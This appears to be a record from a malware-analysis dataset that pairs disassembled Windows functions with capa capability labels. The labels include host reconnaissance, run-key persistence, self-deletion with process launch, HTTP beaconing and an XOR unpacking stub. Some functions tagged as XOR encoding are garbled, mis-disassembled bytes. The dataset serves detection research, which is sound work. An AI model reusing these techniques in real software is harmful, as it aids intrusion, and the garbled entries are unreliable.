joyce8/EMBER2024-capa huggingface dataset:
Function at 0x475d8c
Capabilities:
Get hostname

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, eax
mov dword [esp], 0xff
mov eax, dword [esp]
call fcn.00409a40
mov dword [esp + 4], eax
push esp
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, esi
mov edx, dword [esp + 4]
call fcn.0040480c
mov eax, dword [esp + 4]
call fcn.00409a9c
call fcn.004771fc
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00434b38
xor ecx, ecx
mov edx, 0x475e24
mov eax, ebx
call fcn.00434b9c
test al, al
je 0x475e0f
mov edx, 0x475e68
mov eax, ebx
call fcn.004350d4
test al, al
je 0x475e08
mov edx, 0x475e68
mov ecx, esi
mov eax, ebx
call fcn.00434f54
mov eax, ebx
call fcn.00434b08
mov eax, ebx
call fcn.004037d8
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x475e78
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
mov dword [esp], 0xff
mov eax, dword [esp]
call fcn.00409a40
mov dword [esp + 4], eax
push esp
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x475ead
mov edx, ebx
mov eax, dword [esp + 4]
call fcn.00409a2c
jmp 0x475eb4
mov eax, ebx
call fcn.00404614
mov eax, dword [esp + 4]
call fcn.00409a9c
pop ecx
pop edx
pop ebx
ret

Function at 0x4762d8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x476371
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404cf4
mov eax, 0x104
call fcn.00409a40
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push edi
push esi
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
test eax, eax
je 0x476334
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00404e04
mov eax, dword [ebp - 8]
call fcn.00409a9c
lea eax, [ebp - 0xc]
push eax
call sub.shell32.dll_SHGetMalloc
call fcn.00416b70
test al, al
je 0x47635b
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476378
lea eax, [ebp - 0xc]
call fcn.00406170
ret
Function at 0x476380
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ac4
xor eax, eax
push ebp
push 0x4764ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404614
call fcn.004771fc
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4764c0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0xc2edc8], 0
je 0x476400
mov edx, 0x80000003
mov eax, dword [ebp - 0xc]
call fcn.00434b38
lea eax, [ebp - 0x14]
call fcn.004761bc
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
xor eax, eax
call fcn.004770c0
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x476504
call fcn.00404920
jmp 0x47641a
mov edx, 0x80000001
mov eax, dword [ebp - 0xc]
call fcn.00434b38
lea eax, [ebp - 8]
mov edx, 0x476504
call fcn.004046ac
xor ecx, ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00434b9c
test al, al
je 0x47644f
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.004350d4
test al, al
je 0x476447
mov ecx, ebx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.00434f54
mov eax, dword [ebp - 0xc]
call fcn.00434b08
cmp dword [ebx], 0
je 0x47645b
call fcn.0040404c
jmp 0x4764c7
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.00434b38
lea eax, [ebp - 8]
mov edx, 0x476504
call fcn.004046ac
xor ecx, ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00434b9c
test al, al
je 0x4764aa
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.004350d4
test al, al
je 0x4764a2
mov ecx, ebx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.00434f54
mov eax, dword [ebp - 0xc]
call fcn.00434b08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4764c7
mov eax, dword [ebp - 0xc]
call fcn.004037d8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4764f6
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00404638
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404638
ret
Function at 0x476548
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x20], edx
mov esi, eax
lea edi, [ebp - 4]
xor ecx, ecx
mov cl, byte [esi]
cmp cl, 2
jb 0x476566
mov cl, 2
mov byte [edi], cl
inc esi
inc edi
rep movsb byte es:[edi], byte [esi]
xor eax, eax
push ebp
push 0x476658
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xff
call fcn.00409a40
mov dword [ebp - 0xc], eax
lea edx, [ebp - 4]
lea eax, [ebp - 0x24]
call fcn.004030a8
mov edx, 0x47666c
lea eax, [ebp - 0x24]
mov cl, 3
call fcn.00403078
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x20]
call fcn.00404878
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
call fcn.004098bc
push 0x8001
call sub.kernel32.dll_SetErrorMode
mov word [ebp - 8], ax
xor eax, eax
push ebp
push 0x47663b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x47660d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47661b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476642
mov eax, dword [ebp - 0xc]
call fcn.00409a9c
movzx eax, word [ebp - 8]
push eax
call sub.kernel32.dll_SetErrorMode
ret
Function at 0x476cf8
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov byte [esp], 0
lea eax, [esp + 4]
push eax
push 0xffffffffffffffff
push 8
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
mov ebx, eax
test ebx, ebx
jne 0x476d3c
call sub.kernel32.dll_GetLastError
cmp eax, 0x3f0
jne 0x476d3c
lea eax, [esp + 4]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov ebx, eax
test ebx, ebx
je 0x476de7
lea eax, [esp + 8]
push eax
push 0
push 0
push 2
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_GetTokenInformation
mov eax, dword [esp + 8]
call fcn.00402a7c
mov esi, eax
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
push esi
push 2
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_GetTokenInformation
mov ebx, eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle
test ebx, ebx
je 0x476de0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0xc2d104
call sub.advapi32.dll_AllocateAndInitializeSid
mov ebx, dword [esi]
dec ebx
test ebx, ebx
jl 0x476dd6
inc ebx
xor edi, edi
mov eax, dword [esi + edi*8 + 4]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_EqualSid
test eax, eax
je 0x476dd2
mov byte [esp], 1
jmp 0x476dd6
inc edi
dec ebx
jne 0x476db9
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_FreeSid
mov eax, esi
call fcn.00402aac
mov al, byte [esp]
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x4770c0
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ac4
mov eax, dword [ebp - 8]
call fcn.00404ac4
xor eax, eax
push ebp
push 0x4771ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
call fcn.00408834
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
call fcn.00408834
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404ad4
mov esi, eax
push esi
mov eax, dword [ebp - 4]
call fcn.00404ad4
mov ebx, eax
push ebx
call sub.advapi32.dll_LookupAccountNameA
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x14]
call fcn.00402acc
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x18]
call fcn.00402acc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
push esi
push ebx
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x4771a5
mov edx, edi
mov eax, dword [ebp - 0xc]
call fcn.00476fa4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_GetSidSubAuthorityCount
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_GetLengthSid
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x10]
call fcn.00409a2c
jmp 0x4771ba
call sub.kernel32.dll_GetLastError
test eax, eax
jns 0x4771b3
call fcn.00403714
mov edx, edi
call fcn.00474474
mov eax, dword [ebp - 0x10]
call fcn.00402aac
mov eax, dword [ebp - 0xc]
call fcn.00402aac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4771f4
lea eax, [ebp - 0x20]
call fcn.00404614
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404638
ret
Function at 0x4777c8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x477888
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xff
call fcn.00409a40
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
push 0xff
call sub.kernel32.dll_GetLogicalDriveStringsA
mov ebx, eax
test ebx, ebx
jns 0x47780c
call fcn.00403714
mov eax, edi
call fcn.00404614
mov esi, ebx
test esi, esi
jl 0x47786a
inc esi
xor ebx, ebx
mov eax, dword [ebp - 4]
cmp byte [eax + ebx], 0
je 0x47785c
mov eax, dword [ebp - 4]
mov al, byte [eax + ebx]
mov edx, eax
add dl, 0xbf
sub dl, 0x1a
jb 0x47783b
add al, 0x9f
sub al, 0x1a
jae 0x477866
mov eax, dword [ebp - 4]
mov al, byte [eax + ebx]
call fcn.00402f20
mov edx, eax
lea eax, [ebp - 8]
call fcn.004047fc
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.004048dc
jmp 0x477866
mov eax, dword [ebp - 4]
cmp byte [eax + ebx + 1], 0
je 0x47786a
inc ebx
dec esi
jne 0x47781c
mov eax, dword [ebp - 4]
call fcn.00409a9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47788f
lea eax, [ebp - 8]
call fcn.00404614
ret

Function at 0x47793c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe24
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1dc], edx
mov esi, eax
xor eax, eax
push ebp
push 0x477a27
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
call fcn.00404614
push 0x40
lea eax, [ebp - 0x48]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x48]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x477a0e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
xor ebx, ebx
jmp 0x4779dd
push dword [esi]
cmp ebx, 0xff
jbe 0x4779b1
call fcn.00403714
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x1dc]
call fcn.0040480c
push dword [ebp - 0x1dc]
push 0x477a40
mov eax, esi
mov edx, 3
call fcn.00404994
inc ebx
cmp ebx, 0xff
jbe 0x4779ea
call fcn.00403714
mov eax, dword [ebp - 8]
mov edi, dword [eax + ebx*4]
test edi, edi
jne 0x4779a2
mov eax, dword [esi]
call fcn.004048d4
mov edx, eax
mov eax, esi
mov ecx, 1
call fcn.00404b74
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477a2e
lea eax, [ebp - 0x1dc]
call fcn.00404614
ret
Function at 0x417ab6
Capabilities:
Encode data using xor

Disassembly:
clc
push es
jg 0x5d00dd54
ror edi, 1
push cs
mov eax, 0xed546ef2
imul eax, ebp, 0xffffffcf
vsqrtsd xmm0, xmm6, qword [ecx + eax - 1]
inc ecx
xor dword [edx - 0x1b0f6b4d], esp
mov byte [0xe4f094b3], al
push ss
loop 0x417a9d
invalid
lcall 0x8974, 0x5d1e08b1

Function at 0x43749a
Capabilities:
Encode data using xor

Disassembly:
movq mm6, mm6
clc
sbb dword [ecx], ecx
mov ah, 0xca
inc ebx
sub al, byte [esi]
push es
clc
loope 0x43749e
cld
dec ebp
push ebx
pop dword [esi - 0x32499d88]
sbb ecx, dword [edi + 0x5cc3bb40]
add bl, byte [ecx + 0xc]
sbb eax, 0x5e1957f2
jle 0x4374ce
pop ds
inc eax
test eax, 0xb7585168
les ebx, [ebx - 0x44]
mov dh, 0xaf
xchg edi, eax
dec dword [ebp - 0x3e47de17]
in al, dx
jne 0x4374a1
mov eax, 0xe25d36ac
push 0xffffffffffffffd2
sbb dh, byte [ebx]
jnp 0x43751b
inc eax
inc ebx
cmpsd dword [esi], dword es:[edi]
ficom word [ecx - 0x59]
test byte [edi + 0x7c], al
std
rcr eax, cl
jg 0x437501
mov byte [0x8ee04185], cl
or al, 0x8b
insb byte es:[edi], dx
into
pop ebp
imul eax, dword [esi], 0xfffffff0
invalid
test byte [esi - 0x4a], cl
xchg ebx, eax
mov byte [0xe1de5963], al
xor eax, dword [edx + 0x3c4dbc5b]
wait
push es
sbb byte [ebx - 0x44], 0x4d
cmp al, 0x9b
sbb al, 0x45
js 0x4374e1
loope 0x437494
cmp al, 0xd7
sbb al, 0x4b
mov esp, 0x8c0a9ebc
inc eax
adc dword [ebx], esp
pushfd
invalid
mov ecx, dword [ebx]
sub al, 0x23
push 0xfcb6d813
shl ah, 1
add dword [edi + 0x5c], esi
cld
add al, 0xfc
fnstenv [0x3347d09a]
add dh, ah
jge 0x4374f5
invalid

Function at 0x48acb6
Capabilities:
Encode data using xor

Disassembly:
dec esi
and bh, ah
aam 0x69
lock xor dword [esi + 0x21], edx
and dword [edi - 0x6eb0fd9a], edx
push cs
mov bl, dl
fimul dword [ecx - 0x3f]
pushfd
cmp dword [edi + 0x472b2f6b], esp
invalid
inc edi
inc eax
adc dl, byte [ebp - 0x67]
mov dh, 0x5d
aaa
mov dword [0xf7b6ceba], edi
add byte [ebx + esi - 0x3070c4ac], ch
lodsb al, byte [esi]
xor edx, dword [ebx + edi - 0x71]
iretd
mov byte [0x44053061], al
xor byte [0x2d0c4e44], al
aas
fadd qword [ebp - 0x47]
inc ebp
mov ecx, 0xb4e807d5
jecxz 0x48ac9b
xor dword [edx + 0x56], eax
jbe fcn.0048acb6
xchg ecx, ebp
jne 0x48ad72
invalid
push eax
sbb ecx, dword [0xd96fb057]
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x83d90365
sbb dword [esi + 0x3c], ebx
ja 0x48ad51
pop ecx
invalid
Function at 0x4170ad
Capabilities:
Accept command line arguments
Create process on windows
Delete file

Disassembly:
push 0x29c
mov eax, 0x42b92b
call fcn.00428dbe
call fcn.004171e6
mov esi, 0x104
push esi
lea eax, [ebp - 0x218]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xffffffffffffffff
push 0x431430
lea eax, [ebp - 0x218]
push esi
push eax
call dword [sym.imp.MSVCR80.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x234]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov dword [ebp - 4], ebx
mov esi, dword [sym.imp.MSVCR80.dll_wcslen]
mov edi, 0x4315c8
push edi
call esi
pop ecx
mov dword [ebp - 0x24c], edi
lea eax, [eax*2 + 0x4315c8]
mov edi, 0x431460
push edi
mov dword [ebp - 0x238], eax
call esi
pop ecx
push dword [ebp - 0x238]
mov dword [ebp - 0x244], edi
push dword [ebp - 0x24c]
lea eax, [eax*2 + 0x431460]
mov dword [ebp - 0x240], eax
sub esp, 0xc
mov edi, esp
lea esi, [ebp - 0x244]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x234]
push eax
movsd dword es:[edi], dword [esi]
call fcn.004173ba
push 0x40
lea eax, [ebp - 0x2a4]
push ebx
push eax
mov dword [ebp - 0x2a8], ebx
call sub.MSVCR80.dll_memset
xor eax, eax
mov dword [ebp - 0x25c], ebx
lea edi, [ebp - 0x258]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x24
cmp dword [ebp - 0x21c], 8
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x230]
jae 0x4171b4
lea eax, [ebp - 0x230]
lea ecx, [ebp - 0x25c]
push ecx
lea ecx, [ebp - 0x2a8]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x234]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
call fcn.00428e41
ret
Function at 0x418252
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x44201c]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
push esi
push edi
xor edi, edi
push 0x7fe
lea eax, [ebp - 0x76]
push edi
push eax
mov esi, ecx
mov word [ebp - 0x78], di
call sub.MSVCR80.dll_memset
lea eax, [esi + 0x2a8]
push eax
lea eax, [esi + 0x228]
push eax
lea eax, [esi + 0x1a8]
push eax
lea eax, [esi + 0x128]
push eax
lea eax, [esi + 0xa8]
push eax
push dword [esi + 0xa4]
lea eax, [ebp - 0x78]
push dword [esi + 0xa0]
push dword [esi + 0x9c]
push dword [esi + 0x98]
push dword [esi + 0x94]
push 0x4328c8
push 0xffffffffffffffff
push 0x400
push eax
call dword [sym.imp.MSVCR80.dll__snwprintf_s]
add esp, 0x44
push edi
push edi
push edi
push edi
push 0x431474
call dword [sym.imp.WININET.dll_InternetOpenW]
push edi
push edi
push 3
push edi
push edi
push 0x50
push 0x432b68
push eax
mov dword [ebp - 0x7c], eax
call dword [sym.imp.WININET.dll_InternetConnectW]
push edi
push edi
push edi
push 0x432b90
push 0x432bb4
lea ecx, [ebp - 0x78]
push ecx
push 0x432bc8
push eax
mov dword [ebp - 0x80], eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
push edi
push edi
push edi
mov esi, eax
push edi
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
cmp esi, edi
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x418341
push esi
call ebx
cmp dword [ebp - 0x80], edi
je 0x41834b
push dword [ebp - 0x80]
call ebx
cmp dword [ebp - 0x7c], edi
je 0x418355
push dword [ebp - 0x7c]
call ebx
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00424d84
add ebp, 0x78c
leave
ret
Function at 0x422a1c
Capabilities:
Get common file path

Disassembly:
push 0x14c
mov eax, 0x42a1ab
call fcn.00428dbe
mov eax, dword [0x44fa14]
lea esi, [eax + 8]
mov ebx, dword [esi]
lea edi, [eax + 4]
cmp dword [edi], ebx
mov dword [ebp - 0x11c], eax
jbe 0x422a48
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
mov edi, dword [edi]
cmp edi, dword [esi]
jbe 0x422a54
call dword [sym.imp.MSVCR80.dll__invalid_parameter_noinfo]
cmp edi, ebx
je 0x422a6f
push dword [esi]
mov eax, edi
mov ecx, ebx
call fcn.00423570
pop ecx
push dword [esi]
mov edi, eax
call fcn.00401bab
mov dword [esi], edi
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x422abe
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x138]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
and dword [ebp - 4], 0
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x11c]
call fcn.00401a92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x433b14
lea ecx, [ebp - 0x138]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 4], 1
call fcn.00401a92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x433b1c
lea ecx, [ebp - 0x154]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [ebp - 0x154]
push eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 4], 2
call fcn.00401a92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
call fcn.00428e41
ret
Function at 0x427720
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push edi
mov edi, ecx
mov eax, dword [edi]
lea ecx, [eax + 0x1c]
push ecx
push 4
push eax
push 0x427690
push 0
push 0
call dword [sym.imp.MSVCR80.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x42774a
pop edi
xor al, al
pop ebx
ret
mov edx, dword [edi]
push esi
add edx, 4
mov eax, 1
lock xadd dword [edx], eax
mov esi, dword [edi]
mov eax, dword [esi + 8]
add esi, 8
test eax, eax
je 0x427771
cmp eax, 0xffffffff
je 0x427771
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], ebx
mov ecx, dword [edi]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop esi
pop edi
mov al, 1
pop ebx
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x408ecc
nop
mov ecx, 0x72a24043
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0xa190e02
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219